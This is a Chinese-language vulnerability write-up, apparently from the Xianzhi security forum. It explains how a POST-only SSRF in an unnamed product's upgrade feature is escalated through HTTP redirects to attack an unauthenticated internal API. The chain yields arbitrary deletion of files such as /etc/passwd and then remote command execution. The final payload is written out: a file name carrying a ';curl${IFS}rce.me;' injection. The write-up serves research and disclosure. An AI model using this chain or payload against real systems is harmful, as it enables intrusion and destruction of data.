Author: [email protected] Team
0x01 起
某系统的升级功能可配置自定义的站点, 点击升级按钮后会触发向特定路由发送文件, 也就是一个鸡肋的POST类型的路由和参数均不可控的SSRF。
如下图,**_update是从用户自定义的配置中取的, 与固定的route变量拼接后作为发送文件的url
已知开发语言为Python, 发送文件时使用的是requests模块。利用该模块默认跟随状态码30X跳转的特性, 可将这个鸡肋的SSRF变成一个GET类型的路由和参数均可控的SSRF
0x02 承
该软件的分层大致如下图, 鉴权在应用层, 涉及数据涉及敏感操作的均通过api调用另一个端口的上的服务, 该过程无鉴权。思路比较清晰, 可审计服务层的代码漏洞结合已有的SSRF进一步扩大危害。
受这个SSRF本身的限制, 寻找服务层漏洞时优先看请求方式为GET的路由, 筛选后找到一个符合条件的漏洞点如下图所示, 传入的doc_file_path参数可控, 如果文件名中能带入自己的恶意Payload且文件能够存在的情况下, 拼接到cmd变量中后有机会RCE。
走到命令拼接的前置条件是文件存在, 故先查看上传部分代码, 如下图所示, mkstemp方法的作用是以最安全的方式创建一个临时文件, 该文件的文件名随机, 创建后不会自动删除, 需用户自行将其删除, suffixs是指定的后缀, 也就是说文件虽然可以落地, 但文件名不可控, 无法拼接自己的Payload。
此时只能作为一个任意文件删除的漏洞来使用, 配置升级链接301跳转到http://127.0.0.1:8848/api/doc?doc_file_path=/etc/passwd, 其中doc_file_path参数为已知的存在的文件, 点击系统升级按钮即可触发删除操作。
0x03 转
继续分析代码，阅读大量代码后找到一处上传文件的功能点如下图所示, 其中file_pre为源文件名, 拼接下划线,时间戳以及.txt后保存并返回了完整的文件路径，正好符合上面的要求。
源文件名可控, 路径已知,SSRF升级RCE变得索然无味, 使用分号切割命令语句,带参数的命令可以使用${IFS}绕一下空格问题, 涉及到的${;均为unix系统文件名允许使用范围的字符。
0x04 合
参数及路由均不可控POST类型的SSRF -> requests 30X跳转特性 -> 参数和路由均可控的GET类型SSRF -> 文件名部分可控的文件上传 -> 多点结合攻击本地服务
最终Payload如下:
http://127.0.0.1:8848/api/doc?doc_file_path=
/opt/work/files/target_file/admin/;curl${IFS}rce.me;_1623123227304.txt
配置完成手动点击一下升级功能即可触发命令执行。
BY:先知论坛
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论